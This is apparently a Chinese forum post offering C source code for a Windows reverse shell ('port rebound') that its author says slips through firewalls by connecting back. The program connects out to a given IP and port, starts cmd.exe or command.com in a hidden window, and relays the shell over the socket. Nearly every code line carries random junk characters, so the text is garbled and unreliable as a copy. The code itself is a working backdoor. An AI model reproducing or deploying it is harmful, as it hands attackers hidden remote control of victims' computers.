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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ysbd4 rN  
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/* ============================== {\3k(NdEX  
Rebound port in Windows NT /I&Hq7SW`  
By wind,2006/7 Yt*2/jw^  
===============================*/ ,WSK '  
#include K =T]@ix$  
#include &~gqEl6RF  
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#pragma comment(lib,"wsock32.lib") WJ":BK{NM  
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void OutputShell(); {@, } M  
SOCKET sClient; ^wNx5t  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #2l6'gWE0  
Fb#.Gg9b>  
void main(int argc,char **argv) hiO:VA  
{ A`_(L|~  
WSADATA stWsaData; M0VC-\W7f  
int nRet; xEdCGwgp#  
SOCKADDR_IN stSaiClient,stSaiServer; `7_=2C  
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if(argc != 3) Au3> =x`  
{ x}o]R  
printf("Useage:\n\rRebound DestIP DestPort\n"); l}odW  
return;  t9T3e  
} k.=67L  
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WSAStartup(MAKEWORD(2,2),&stWsaData); q,6 y{RyS  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7.g)_W{7}  
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stSaiClient.sin_family = AF_INET; gSLwpIK%  
stSaiClient.sin_port = htons(0); 5dOA^P@`,M  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %.^8&4$+  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) b[p<kMTir  
{ ;ELQIHnD"  
printf("Bind Socket Failed!\n"); {T|sU\|Q  
return; ZfalB  
} ^@f%A<  
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stSaiServer.sin_family = AF_INET; AdBF$nn[  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); kw)@[1U  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); wXw pKm  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5c6CH k`:  
{ gNk x]bm  
printf("Connect Error!"); $[9,1.?C  
return; c*MSd  
} " a;z  
OutputShell(); St/<\Y,wr  
} {6MLbL{  
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void OutputShell() #:Z"V8n'  
{ K^z-G=|N  
char szBuff[1024]; qT]Bl+h2  
SECURITY_ATTRIBUTES stSecurityAttributes; 2y; |6`  
OSVERSIONINFO stOsversionInfo; o %#Z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Kp,}7%hDw!  
STARTUPINFO stStartupInfo; #k? Rl  
char *szShell; _Y F~DU  
PROCESS_INFORMATION stProcessInformation; N,v4SIC@  
unsigned long lBytesRead; *;A I0  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); XvBEC_xWZ  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "o#N6Qu71  
stSecurityAttributes.lpSecurityDescriptor = 0; -f?Rr:#  
stSecurityAttributes.bInheritHandle = TRUE; +wd} '4)  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); etF?,^)h=g  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \ZrLh,6f.  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); W"9iFj X  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N{n}]Js1D-  
stStartupInfo.wShowWindow = SW_HIDE; 6_/oVvd  
stStartupInfo.hStdInput = hReadPipe; '>FJk`iI  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H8 yc<  
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GetVersionEx(&stOsversionInfo); -,j J{Y~  
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switch(stOsversionInfo.dwPlatformId) Mi'Q5m  
{ lh`inAt)"  
case 1: X'N 4a  
szShell = "command.com"; <LM<,  
break;  iqf+rBL  
default: -k\7k2  
szShell = "cmd.exe"; )f#@`lf[<  
break; aM'0O![d  
} ,-u | l  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [o&Vr\.$  
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send(sClient,szMsg,77,0); GEP YSp  
while(1) 'N,3]Soi  
{ 2L.UEAt  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |E @Gsw  
if(lBytesRead) JA7HO |  
{ &|<~J (L;  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .UbmU^y|  
send(sClient,szBuff,lBytesRead,0); vj0`[X   
} j}8IT  
else #f]R:Ix>  
{ gUDd2T#  
lBytesRead=recv(sClient,szBuff,1024,0); GV)#>PL  
if(lBytesRead<=0) break; e 1{t qNJ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); QQ@, v@j5  
} G}i\UXFE  
} , 6\i  
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return; o*/\ oVOq  
}
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